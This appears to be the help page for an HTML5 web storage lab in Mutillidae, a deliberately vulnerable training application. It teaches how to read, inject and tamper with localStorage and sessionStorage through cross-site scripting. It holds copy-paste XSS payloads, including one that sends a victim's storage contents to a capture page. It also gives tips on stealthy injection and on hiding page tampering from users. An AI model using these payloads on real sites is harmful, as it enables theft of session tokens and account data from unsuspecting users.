HTML-5 Web Storage Injection


Overview

HTML5 web storage is a simple database implemented by browsers which allows web pages to store records. Records are key-value pairs. Both the key and the value are of datatype string.

HTML5 Storage API

The Storage interface of the browser API
interface Storage { readonly attribute unsigned long length; DOMString? key(unsigned long index); getter DOMString getItem(DOMString key); setter creator void setItem(DOMString key, DOMString value); deleter void removeItem(DOMString key); void clear(); }
An "interface" is a software class that is only a definition in itself and must be implemented to work. The Storage interface is implemented twice in the browser as part of the "Window" DOM object. One implementation is the "Local Storage" object named "localStorage" and the other is the "Session Storage" object named "sessionStorage".

To call the methods defined in the interface, call them using the "window" scope.

Example:
// grab local session storage var m = ""; var l = window.localStorage; for(i=0;i<l.length;i++){ var lKey = l.key(i); m += lKey + "=" + l.getItem(lKey) + "; "; }// end for i alert(m);
Locating pages which use HTML5 storage

Pages using HTML5 storage are easy to locate since the source code is client-side. The JavaScript API specifies the session storage objects are named sessionStorage and localStorage which are both properties of the window object. Developers may put the JavaScript in an included file, so check for JavaScript include file and search the source code for "sessionStorage" and "localStorage".

Reading HTML5 storage from the Browser

The values a site has placed into your browser can be read by you. They can also be changed by you. Developers should know better than to place any type of authentication token anywhere on the client, but this problem has existed well before HTML5 storage and will continue with HTML storage.
If the web developer is trying to hide something in session storage or local storage that you want to read, you can type JavaScript into your browser address bar to read the HTML 5 storage. Cookies in general should not contain any information classified above "public". Developers are constantly making the mistake of thinking that because cookies happen to be difficult to view, they cannot be viewed. Functionally, HTML 5 storage is analogous to a big cookie.

In some browsers, you can run JavaScript against the current page by placing the prefix "javascript" followed by a colon and your JavaScript into the address bar.

Try It (Newer Firefox require you allow JavaScript in URL bar (about:config)):
javascript:alert("It Works!");
NOTE: If new browsers disable JavaScript in the URL bar, install a real-time page editor such as FireBug. In Firebug, open the "console" and use the command-line area at the bottom (Look for ">>>").

HTML5 storage provides an API for interaction with JavaScript. Therefore if you are using a page that uses HTML5 storage, you can read it with a JavaScript. (The HTML5 storage is on your browser, so you may just be able to use the browser itself.)

This script can read HTML5 storage from the page currently being browsed:
<script> try{ var m = ""; var l = window.localStorage; var s = window.sessionStorage; for(i=0;i<l.length;i++){ var lKey = l.key(i); m += lKey + "=" + l.getItem(lKey) + ";\n"; }; for(i=0;i<s.length;i++){ var lKey = s.key(i); m += lKey + "=" + s.getItem(lKey) + ";\n"; }; alert(m); }catch(e){ alert(e.message); } </script>
Copy and Paste:

// JavaScript Alert Box version <script>try{var m = "";var l = window.localStorage; var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\n";};alert(m);}catch(e){alert(e.message);}</script>
// window.document.write version <script>try{var m = "";var l = window.localStorage;var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\n";};window.document.write(m);}catch(e){alert(e.message);}</script>
// Fireug console.log() or console.debug() version // NOTE: This version must be executed in the Firebug console try{var m = "";var l = window.localStorage;var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\n";};console.log(m);}catch(e){alert(e.message);}
Except in SECURE mode, this page has some "secrets" hidden in the HTML5 storage. To figure out what are the items, use a JavaScript injection in the Back button or the page footer (HTTP user-agent header) to inject your own JavaScript. An easier way would be to remember that all the HTML5 storage and all JavaScript is client-side which means it is running on your machine. You can simply read the JavaScript that set the storage items.

Injecting values into session storage

If you are visiting a web site utilizing HTML5 storage, the storage is on your browser so injecting values is relatively easy but remember that HTML5 storage is stored by domain, protocol, and port so any code used to set storage values must be done in the context of the target page.

This script will inject the following keys with the following values into the current page context. This context will be valid as long as the domain, protocol, and port do not change.
<script> localStorage.setItem("AccountNumber","123456"); sessionStorage.setItem("EnterpriseSelfDestructSequence","A1B2C3"); sessionStorage.setItem("SessionID","japurhgnalbjdgfaljkfr"); sessionStorage.setItem("CurrentlyLoggedInUser","1233456789"); </script>
Copy and Paste:
<script> localStorage.setItem("AccountNumber","123456"); sessionStorage.setItem("EnterpriseSelfDestructSequence","A1B2C3"); sessionStorage.setItem("SessionID","japurhgnalbjdgfaljkfr"); sessionStorage.setItem("CurrentlyLoggedInUser","1233456789"); </script>
After setting the values, read them back for confirmation. Use the scripts under section "Reading HTML5 storage". In fact, we can combine the two scripts and run them back to back. <script> localStorage.setItem("AccountNumber","123456"); sessionStorage.setItem("EnterpriseSelfDestructSequence","A1B2C3"); sessionStorage.setItem("SessionID","japurhgnalbjdgfaljkfr"); sessionStorage.setItem("CurrentlyLoggedInUser","1233456789"); try{var m = "";var l = window.localStorage;var s = window.sessionStorage; for(i=0;i<l.length;i++){ var lKey = l.key(i); m += lKey + "=" + l.getItem(lKey) + ";\n";}; for(i=0;i<s.length;i++){ var lKey = s.key(i); m += lKey + "=" + s.getItem(lKey) + ";\n";}; alert(m);}catch(e){ alert(e.message); } </script>

Over-writing existing HTML5 storage values

Determine what the existing key-value pairs are in the HTML5 storage. Use the scripts under section "Reading HTML5 storage". Choose the key-value pair to set. Finally use a script to over-write the key-value pair. Note that the setItem() methods adds a new key-value pair if the key does not already exist but over-writes the current value if the key is present.

A smaller script can be used to read the currently stored keys:
<script> var s = sessionStorage; var l = localStorage; var m = ""; for(i=0;i<s.length;i++){m += "sessionStorage:" + s.key(i) + ";\n";} for(i=0;i<l.length;i++){m += "localStorage:" + l.key(i) + ";\n";} alert(m); </script>
One of the keys on this page is "MessageOfTheDay". To change that particular value, we can use another script:
<script>localStorage.setItem("MessageOfTheDay","Hello World"); </script>
Depending on when this script is injected, the page may not display the changes. An inspection of the code reveals that the page calls a function "init()" in order to display the current values. Calling "init()" again after changing the value should show the change. Watch carefully. The page will display HTML5 storage from the initial call to init() then display all the values again. Notice the message of the day is different in the second listing. Here is the modified script.
<script>localStorage.setItem("MessageOfTheDay","Hello World"); init();</script>
One problem is the user might notice the page is not the same. Instead of one "MessageOfTheDay" there are now two; the original message plus the new message added by the cross-site script. To solve this issue, first overwrite the original message, then delete all the table rows being displayed. To delete the messages, use JavaScript to alter the DOM on the page. Finally call the pages own init() function to redraw the table.
Hint: Click "View Source" and read the JavaScript in the init() function. It shows that the "idSessionStorageTableBody" is the HTML DOM element to which the table rows are added.
<script>localStorage.setItem("MessageOfTheDay","Hello World"); var node=window.document.getElementById("idSessionStorageTableBody"); while(node.hasChildNodes()){node.removeChild(node.firstChild)}; init();</script>

Reading another users HTML5 storage

If you want to read someone elses session storage or local storage, remember where the storage is located. The storage is on the client machine and is only accessible by scripts running in their browser. Therefore you need to get your JavaScript to run on that users machine. One way to do this is to either plant a persistent cross site script (XSS) and wait for the user to visit the infected site or phish using a reflected cross site script.

If injecting JavaScript into HTML, using a body-onload event or an image tag can be effective without overtly alerting the user. JavaScript can also be injected by wrapping the JavaScript code in script tags.

If injecting JavaScript into existing JavaScript code, using an XHR (aka AJAX aka Web 2.0) script is a good way to inject scripts because the resulting script execution is less likely to be noticed by the user.

We can collect the HTML5 storage using the same script as in "Reading HTML5 Storage" but instead of displaying the data in a popup alert box we can send the data to a capture page.
<script> try{ var s = sessionStorage; var l = localStorage; var m = ""; var lXMLHTTP; for(i=0;i<s.length;i++){ m += "sessionStorage(" + s.key(i) + "):" + s.getItem(s.key(i)) + "; "; } for(i=0;i<l.length;i++){ m += "localStorage(" + l.key(i) + "):" + l.getItem(l.key(i)) + "; "; } var lAction = "http://localhost/mutillidae/capture-data.php?html5storage=" + m; lXMLHTTP = new XMLHttpRequest(); lXMLHTTP.onreadystatechange = function(){}; lXMLHTTP.open("GET", lAction); lXMLHTTP.send(""); }catch(e){} </script>
Copy and Paste

Try injecting JavaScript into the user-agent HTTP header because it is displayed in the footer.

Where is this page vulnerable to cross site scripting

The add new key field is vulnerable to HTML injection and event based JavaScript injection because the keys that are added by the user are reflected back when the page inserts the key into the span using the innerHTML property.

For example, the following key can injected along with any value.
</span><span onmouseover="alert(1);">ERROR</span><span>
The "BACK" button is vulnerable to JavaScript injection and the page footer displays the value of the user-agent string making it vulnerable as well.

The most practical vulnerabilities is the users message. Note the site does not output encode the username or the users message. These values are database values meaning they present a persistent cross site script.

Code which can read values from HTML-5 Web Storage

try{ var m = ""; var l = window.localStorage; var s = window.sessionStorage; for(i=0;i<l.length;i++){ var lKey = l.key(i); m += lKey + "=" + l.getItem(lKey) + ";\n"; };//end for for(i=0;i<s.length;i++){ var lKey = s.key(i); m += lKey + "=" + s.getItem(lKey) + ";\n"; };//end for console.log(m); }catch(e){ alert(e.message); }

Read DOM Storage values from our browser

Plan A (Run in firebug console):
Copy and Paste

Plan B (DOM Injection in "new key" field):
Copy and Paste


Add new values to our DOM storage and read them back to show new values

Plan A (Run in firebug console):
Copy and Paste

Plan B (DOM Injection in "new key" field):
Copy and Paste


Edit values currently in our DOM storage and read them back to show new values

Plan A (Run in firebug console):
Copy and Paste

Plan B (DOM Injection in "new key" field):
Copy and Paste


Delete values currently in our DOM storage and read storage back

Plan A (Run in firebug console using the removeItem() method):
Copy and Paste

Alternative: Use the clear method
Copy and Paste

Plan B (DOM Injection in "new key" field):
Copy and Paste


Videos


Warning: Could not reach YouTube via network connection. Failed to embed video.

Click here to watch Adding Values to DOM Storage using Cross-site Scripting
Warning: Could not reach YouTube via network connection. Failed to embed video.

Click here to watch Alter Values in HTML5 Web Storage using Cross-site Script
Warning: Could not reach YouTube via network connection. Failed to embed video.

Click here to watch Alter Values in HTML5 Web Storage using Persistent Cross-site Script
Warning: Could not reach YouTube via network connection. Failed to embed video.

Click here to watch Alter Values in HTML5 Web Storage using Reflected Cross-site Script
Warning: Could not reach YouTube via network connection. Failed to embed video.

Click here to watch Web Pen Testing HTML 5 Web Storage using JSON Injection
Warning: Could not reach YouTube via network connection. Failed to embed video.

Click here to watch Stealing HTML5 Storage via JSON Injection
Warning: Could not reach YouTube via network connection. Failed to embed video.

Click here to watch Reading Hidden Values from HTML5 Dom Storage